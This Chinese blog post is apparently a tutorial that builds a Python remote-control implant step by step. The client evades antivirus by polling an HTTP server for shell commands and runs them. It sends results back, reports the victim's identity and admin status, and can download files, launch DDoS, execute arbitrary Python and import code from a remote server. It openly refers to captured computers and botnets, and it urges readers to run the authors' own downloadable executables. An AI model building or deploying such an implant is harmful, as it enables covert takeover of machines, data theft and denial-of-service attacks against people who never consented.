Python 远程控制

本文仅为传递技术，如您用于非法用途，我们不会也不可能承担任何责任。

本文由未知访客团队完成，版权所有。

以上声明将会覆盖 CC 4.0 BY-SA 部分协议，为防止爬虫，这里附上本文链接https://blog.csdn.net/weixin_42660646/article/details/105276372，如有发现，希望大家联系我或者直接联系作者删除，谢谢

网络上有很多远程控制的Python脚本，譬如TCP/IP反弹式Shell，相当一部分源码都是复制粘贴，甚至当我们也复制粘贴到本地也根本无法运行，各种Traceback看得人触目心惊，甚至再来一个Traceback most recent call last: C++ Error（论Python最恐怖的报错），就相当的惨淡而扯淡了。

当然也有相当一部分的脚本可以正常运行，他们用socket进行控制，当然还有较为高级的使用fabric或者paramiko的，我这里就不复制粘贴了，省的有抄袭嫌疑。

网上既然有能运行的Python Shell，我还写它做甚？当然有原因。这是一个安全性问题，当你自己写一个socket脚本，脚本模式还好，一旦编译（pyinstaller或者py2exe，当然我自己推荐pyinstaller，py2exe貌似不能打包单个文件，至少我用的时候是这样），某卫士和某管家都是立马报毒，就算你真的只是一个普通的基于socket的脚本，你没有软件的数字签名这些杀软也秒送你上西天，fabric和paramiko同样难逃魔爪，想写个小工具立马报毒，又怎么能让别人放心呢？难不成用户一人一个Python？当然，我们可以用黑客的方式，使用PyCrypto对脚本进行加密，不过恶心的是，PyCrypto这家伙在Windows上面要多难装有多难装，以至于我们团队有人提到：他*的，我看见这PyCrypto就想骂人（这里一个星号代表啥你们都懂）。况且明明一个正常的小程序大材小用的用PyCrypto加密，想着也怎么不光彩，要是AES加密也被杀软的病毒研究团队破解了，这下socket这个库就废了。你可以试试百度：Pyinstaller打包报毒，我保证网页成捆计数。

那么这下凉犊子了，我这标题还是Python远程控制获取交互式Shell。

经过测试某卫士某管家都不会拦截HTTP请求，因为在任何一个杀软看来，HTTP请求都似乎是正常的。那么我们便找到可乘之隙了，通过一个简单的while True便可以实现客户端持续主动连接服务端，虽然HTTP协议也是基于socket，但因为HTTP Request和普通的socket的报文是不同的，就这样轻轻松松绕过了杀软。基本的HTTP请求是这样：

import requests
requests.get('Url')

我们在requests的语句套上try和while，我们就可以成功实现主动获取命令了。

当然，值得注意的是，有些时候你需要注意反浏览器完整性检验，在requets中加入X-Forward-For以及User-Agent。

它现在看起来像这样：

import requests
import time
import jsonwhile True:try:commands = json.loads(requests.get('Your URI').text) #使用requests模块下载命令(该命令形式必须为dict), 并使用json.loads模式解析为dict变量os.system(commands['cmd']) #执行解析到的参数，我们在dict中设置键值为"cmd"except:continuetime.sleep(3)

可是BUG就又这么来了，os.system的BUG是众多周知的，他不返回值就算了，他%&#±?@的还每次都弹个控制台窗口，度娘变给了回复：可以用os.popen。

它执行和编译过程中似乎需要一个Windows系统插件，他貌似在新版本的Windows中被移除了，下文的代码中需要它（并不需要在编译以后安插在靶机中安插它，只需要安插你所编译完成的独立文件）。我这里附上自家的链接，它是从旧的版本的Windows系统上抠出来然后编译的模块，你需要双击运行它即可。当然，做人要小心谨慎一些，如果需要确认它的安全性，你可以使用查杀率最高的某卫士或者某管家等等的杀软进行查杀。运行后它应该不会有任何显示。

我们便很他@#*&(高兴的用了os.popen，我们便准备派出测试了，惊人的测试成功了，看到服务器上获取到的本地返回值，你应该能体会到我们的心情。这时候我们便编译了它，他很快的报错了。我们认为是pyinstaller的问题，重装了3遍，换了python版本（从3.6.8换成了3.9a3），这@fp#@)'的还是不行，我们变做了一个DEBUG版本，没有加入-w参数，意外的是，他竟然没有报错？？？我们便狠下心来，一行一行加try:...except Exception as e:...，然后把错误用win32api（这库必须从sourceforge上面下载安装软件，pip装不了）的Msgbox把报错弹出来，错误很有趣：WinError 5: 句柄无效。

这要不是我开发过一个借助Selemuim配合Google Chrome进行的自动化的项目，我们绝对当场放弃治疗。

毕竟当时我们做这个的时候没有像chatGPT这种方便的AI，再加上百度的关键词解析毕竟一言难尽。

也就是说，我们亲爱的os.popen必须在有控制台的情况下运行，不带控制台就没用。我的朋友就颓废的说：那好吧，再去找。我们就找到了subprocess，最开始他还是报错的，后来在一个博文上找到了答案，我实在是找不到这篇文章在哪里了，否则我100%上门道谢。

# import subprocess before
try:p = subprocess.Popen("Enter the command you got from your server here.", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #参数一个都不能差result = p.stdout.read()retval = p.wait()
except Exception as e:print("错误：{}".format(e))
print(result.decode('gbk','ignore')) #注意，不加入DECODE函数100%乱码，'ignore'参数表示忽略错误字符

我们将它封装在函数里以便于调用：

def run(cmd):#includes codes above, and replace "Enter the command you got from your server here." to "cmd".

现在它看起来像这样：

import requests
import time
import json
import subprocessdef run(id, cmd):try:p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)result = p.stdout.read()retval = p.wait()except Exception as e:print("错误：{}".format(e))while True:try:commands = json.loads(requests.get('Your URI').text)run(commands['cmd'])except:continuetime.sleep(3) 

我们很高兴，这么几行代码就实现了远程交互，正当我们高兴之余，BUG说来就来，这它*的cd为啥就没用，我再怎么cd desktop、cd ..都没个啥用。还是度娘又一次告诉了我原因：Python的工作目录未改变。改变工作目录的方法为：

#import os first
os.chdir("Your path that you want to change.")

其中的字符串可以使用pathlib.Path代替。

同样，我们封装一个函数，如下：

def cd(path):try:os.chdir(path)except Exception as e:print("错误：{}".format(e))

这时候，它看起来像这样：

import os, requests, time, json, subprocessdef cd(path):try:os.chdir(path)except Exception as e:print("错误：{}".format(e))def run(id, cmd):try:p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)result = p.stdout.read()retval = p.wait()except Exception as e:print("错误：{}".format(e))while True:try:commands = json.loads(requests.get('Your URI').text)if commands['cmd'].replace(" ", "") == "cd":cd(commands['cmd'])run(commands['cmd'])except:continuetime.sleep(3) 

目前还没有定义结果的回调，它看起来像这样：

def PushResult(result):data = {"result": result,}while True:try:response = post("http://Your Domain or IP address/result/", data=data).text #在服务端传回的Response中加入200字样以确保Shell回调运行正常if "200" in response:breakelse:raiseexcept:print("Failed to push result.")continue

我们在命令函数中使用PushResult(result)方式来调用以上的函数。
它还可以被改进：

def PushResult(result):data = {"result": result,}while True:try:response = post("http://Your Domain or IP address/result/", data=data).text #在服务端传回的Response中加入200字样以确保Shell回调运行正常if "200" in response:breakelse:raiseexcept ConnectionError:print("Failed to push result: Remote server does not open.")continueexcept Exception as e:print("Failed to push result: {}".format(e))continue

下面的问题是，在我拥有多台被捕获的计算机，如何判断计算机的唯一性？
查询了度娘，她说MAC是唯一的。我们便搜索的Python获取Hostname、Username以及MAC等的方式，如下：

import re
import socket
import ctypes
import uuid
from requests import getdef IP():return re.findall(r'\d+.\d+.\d+.\d+', get("http://txt.go.sohu.com/ip/soip").text)[0]def MAC():mac=uuid.UUID(int = uuid.getnode()).hex[-12:]return ":".join([mac[e:e+2] for e in range(0,11,2)])def HOSTNAME():return socket.gethostname()def Is_Admin():return bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)

不过，我们在测试的过程中，发现了其中两位团队成员自家拿来测试的电脑的MAC地址都惊人的在一夜之间发生了变化？！

这个问题我们似乎没有办法解决，这种情况似乎是有一些复杂的原因。

为此，我们在Beta版本写入了以下代码：

def GUID():guid = str(uuid.uuid1()).split("-")guid = guid[1] + guid[2] + guid[4]return guid

事实上GUID和C++中常说的UUID没什么区别，前者的“G”表示“Global”，后者的“U”表示“Universal”。在C系列语言中常将其称为GUID，我这里为了不和函数名重复，故将其命名为GUID。

我们目前还需要如下代码，使捕获的客户端上线时我们能够知晓：

def Online():mac = MAC()username = os.environ['USERNAME']_os = platform.system()ipv4 = IP()hostname = HOSTNAME()admin = is_admin()guid = GUID()data = {"os": _os,"mac": mac,"ipv4": ipv4,"guid": guid,"username": username,"hostname": hostname,"admin": admin,}online = post("{}/online/".format("Your Server's Address"), data=data).textreturn json.loads(online)[0]["status"] # 这里的status是服务端传回的参数

我们在这里的data中包含了用户的操作系统、MAC地址、IP地址、用户名、主机名以及是否是管理员账户。

如果你希望使你的脚本跨平台，那么你可以这样：

import platformWindows = True if platform.system() == "Windows" else False
Linux = True if platform.system() == "Linux" else Falsedef Online():mac = MAC()username = os.environ['USERNAME'] if Windows else os.environ['NAME'] # 在Linux中储存用户名的环境变量为'USER'，这不同于Windows中的'USERNAME'_os = platform.system()ipv4 = IP()hostname = HOSTNAME()admin = is_admin()guid = GUID()data = {"os": _os,"mac": mac,"ipv4": ipv4,"guid": guid,"username": username,"hostname": hostname,"admin": admin,}online = post("{}/online/".format("Your Server's Address"), data=data).textreturn json.loads(online)[0]["status"]

这里我们在主函数中加入Online函数，用以使主控端知晓客户端的上线。

它看起来像这样：

while True:try:Online()except ConnectionError:print("Failed to online: Server does not open.")continueexcept Exception as e:print("Failed to online: {}".format(e))continue# includes codes above

我们整合一下代码，它现在看起来像这样：

import os, requests, time, json, subprocess
import re, socket, ctypes, uuid
from requests import getdef cd(path):try:os.chdir(path)except Exception as e:print("错误：{}".format(e))def Online():mac = MAC()username = os.environ['USERNAME']_os = platform.system()ipv4 = IP()hostname = HOSTNAME()admin = is_admin()guid = GUID()data = {"os": _os,"mac": mac,"ipv4": ipv4,"guid": guid,"username": username,"hostname": hostname,"admin": admin,}online = post("{}/online/".format("Your Server's Address"), data=data).textreturn json.loads(online)[0]["status"]def StrictOnline():while True:try:Online()except ConnectionError:print("Failed to online: Server does not open.")continueexcept Exception as e:print("Failed to online: {}".format(e))continuedef run(id, cmd):try:p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)result = p.stdout.read()retval = p.wait()except Exception as e:print("错误：{}".format(e))while True:try:StrictOnline()commands = json.loads(requests.get('Your URI').text)if commands['cmd'].replace(" ", "") == "cd":cd(commands['cmd'])run(commands['cmd'])except:continuetime.sleep(3.9/3/3) 

如果你希望你的脚本看起来专业一点，你可以这样：

import os, requests, time, json, subprocess
import re, socket, ctypes, uuid
from requests import getdef cd(path):try:os.chdir(path)except Exception as e:print("错误：{}".format(e))def Online():mac = MAC()username = os.environ['USERNAME']_os = platform.system()ipv4 = IP()hostname = HOSTNAME()admin = is_admin()guid = GUID()data = {"os": _os,"mac": mac,"ipv4": ipv4,"guid": guid,"username": username,"hostname": hostname,"admin": admin,}online = post("{}/online/".format("Your Server's Address"), data=data).textreturn json.loads(online)[0]["status"]def StrictOnline():while True:try:Online()except ConnectionError:print("Failed to online: Server does not open.")continueexcept Exception as e:print("Failed to online: {}".format(e))continuedef run(id, cmd):try:p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)result = p.stdout.read()retval = p.wait()except Exception as e:print("错误：{}".format(e))def Main():while True:try:StrictOnline()commands = json.loads(requests.get('Your URI').text)if commands['cmd'].replace(" ", "") == "cd":cd(commands['cmd'])run(commands['cmd'])except:continuetime.sleep(3)if __name__ == "__main__":Main() 

它和其上的脚本的效果是等同的，因为这是主程序，你并不需要去调用它，它built-in的__name__参数时刻都是__main__。

这么一个脚本固然不能满足计算机爱好者们的意淫，不能让对方下载文件怎么能行。代码如下：

# import shelx first, pip install shelx -i https://pypi.tuna.tsinghua.edu.cn/simple
def download(id, args):args = shlex.split(args)url = args[0]name = args[1]urltype = args[2]debug("Downloding {}".format(url))content = get(url)if urltype == "wb" or urltype == "ab":content = content.contentelse:content = content.textopens = open(name, urltype)opens.write(content)opens.close()PushResult(id, "下载完毕")

上面的参数id是服务端的命令唯一标识，你可以使用你自己的去替换它。

如果你想要做一个合格的僵尸网络或者渗透工具，像著名的metasploit framework一样，少了网络攻击可当然不能过关。

中国秦川联盟网络安全部氢氟安全组特此开发了独立版本，点击即可下载。它需要上述的组件，同上，你需要将它移动至C:\Windows\System32\client\client.exe并双击运行它。你可以将如下代码加入被控端主程序：

def ddos(id, args):args = shlex.split(args)ip = args[0]port = args[1]thread = args[2]time = args[3]p = subprocess.Popen("HFDDOS ip --port int(port), --thread int(thread) --time int(time))", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # 替换成参数PushResult(id, "已加入DDOS线程")

我们还添加了一些备用功能，大部分代码块并未开源：

def python(id, codes): # 远程执行Python命令exec(codes)PushResult(id, "已执行Python命令")def importpkg(id, pkg): # 远程导入Python仓库exec("import {}".format(pkg))PushResult(id, "已导入")

importpkg直接使用会报错，因为在被控端并没有该模块。我们可以导入如下模块：

import sys
import importlib.abc
import imp
from urllib.request import urlopen
from urllib.error import HTTPError, URLError
from html.parser import HTMLParser# Debugging
import logging
log = logging.getLogger(__name__)# Get links from a given URL
def _get_links(url):class LinkParser(HTMLParser):def handle_starttag(self, tag, attrs):if tag == 'a':attrs = dict(attrs)links.add(attrs.get('href').rstrip('/'))links = set()try:log.debug('Getting links from %s' % url)u = urlopen(url)parser = LinkParser()parser.feed(u.read().decode('utf-8'))except Exception as e:log.debug('Could not get links. %s', e)log.debug('links: %r', links)return linksclass UrlMetaFinder(importlib.abc.MetaPathFinder):def __init__(self, baseurl):self._baseurl = baseurlself._links = { }self._loaders = { baseurl : UrlModuleLoader(baseurl) }def find_module(self, fullname, path=None):log.debug('find_module: fullname=%r, path=%r', fullname, path)if path is None:baseurl = self._baseurlelse:if not path[0].startswith(self._baseurl):return Nonebaseurl = path[0]parts = fullname.split('.')basename = parts[-1]log.debug('find_module: baseurl=%r, basename=%r', baseurl, basename)# Check link cacheif basename not in self._links:self._links[baseurl] = _get_links(baseurl)# Check if it's a packageif basename in self._links[baseurl]:log.debug('find_module: trying package %r', fullname)fullurl = self._baseurl + '/' + basename# Attempt to load the package (which accesses __init__.py)loader = UrlPackageLoader(fullurl)try:loader.load_module(fullname)self._links[fullurl] = _get_links(fullurl)self._loaders[fullurl] = UrlModuleLoader(fullurl)log.debug('find_module: package %r loaded', fullname)except ImportError as e:log.debug('find_module: package failed. %s', e)loader = Nonereturn loader# A normal modulefilename = basename + '.py'if filename in self._links[baseurl]:log.debug('find_module: module %r found', fullname)return self._loaders[baseurl]else:log.debug('find_module: module %r not found', fullname)return Nonedef invalidate_caches(self):log.debug('invalidating link cache')self._links.clear()# Module Loader for a URL
class UrlModuleLoader(importlib.abc.SourceLoader):def __init__(self, baseurl):self._baseurl = baseurlself._source_cache = {}def module_repr(self, module):return '' % (module.__name__, module.__file__)# Required methoddef load_module(self, fullname):code = self.get_code(fullname)mod = sys.modules.setdefault(fullname, imp.new_module(fullname))mod.__file__ = self.get_filename(fullname)mod.__loader__ = selfmod.__package__ = fullname.rpartition('.')[0]exec(code, mod.__dict__)return mod# Optional extensionsdef get_code(self, fullname):src = self.get_source(fullname)return compile(src, self.get_filename(fullname), 'exec')def get_data(self, path):passdef get_filename(self, fullname):return self._baseurl + '/' + fullname.split('.')[-1] + '.py'def get_source(self, fullname):filename = self.get_filename(fullname)log.debug('loader: reading %r', filename)if filename in self._source_cache:log.debug('loader: cached %r', filename)return self._source_cache[filename]try:u = urlopen(filename)source = u.read().decode('utf-8')log.debug('loader: %r loaded', filename)self._source_cache[filename] = sourcereturn sourceexcept (HTTPError, URLError) as e:log.debug('loader: %r failed. %s', filename, e)raise ImportError("Can't load %s" % filename)def is_package(self, fullname):return False# Package loader for a URL
class UrlPackageLoader(UrlModuleLoader):def load_module(self, fullname):mod = super().load_module(fullname)mod.__path__ = [ self._baseurl ]mod.__package__ = fullnamedef get_filename(self, fullname):return self._baseurl + '/' + '__init__.py'def is_package(self, fullname):return True# Utility functions for installing/uninstalling the loader
_installed_meta_cache = { }
def install_meta(address):if address not in _installed_meta_cache:finder = UrlMetaFinder(address)_installed_meta_cache[address] = findersys.meta_path.append(finder)log.debug('%r installed on sys.meta_path', finder)def remove_meta(address):if address in _installed_meta_cache:finder = _installed_meta_cache.pop(address)sys.meta_path.remove(finder)log.debug('%r removed from sys.meta_path', finder)

将以上脚本放在和主程序同目录下，将其命名为remoteimport.py，这时，在头部加入 :

from remoteimport import install_meta
install_meta("http://Your Remote Pkg Server:Your port")

注意在URI最后不要加上/，这是不合法的。这时候，我们在主控端的包路径下如C:\Programs\Python39\Lib\site-packages（Linux也支持，不过Linux下路径较多）目录下执行python -m http.server 端口，开启包服务器。

这样，你自己的客户端就基本搭建完成。

这是数年前的一篇文章，当时的项目似乎已经出现了问题，我们正在尝试进行修改，不日就会开源。

本文来自互联网用户投稿，文章观点仅代表作者本人，不代表本站立场，不承担相关法律责任。如若转载，请注明出处。 如若内容造成侵权/违法违规/事实不符，请点击【内容举报】进行投诉反馈！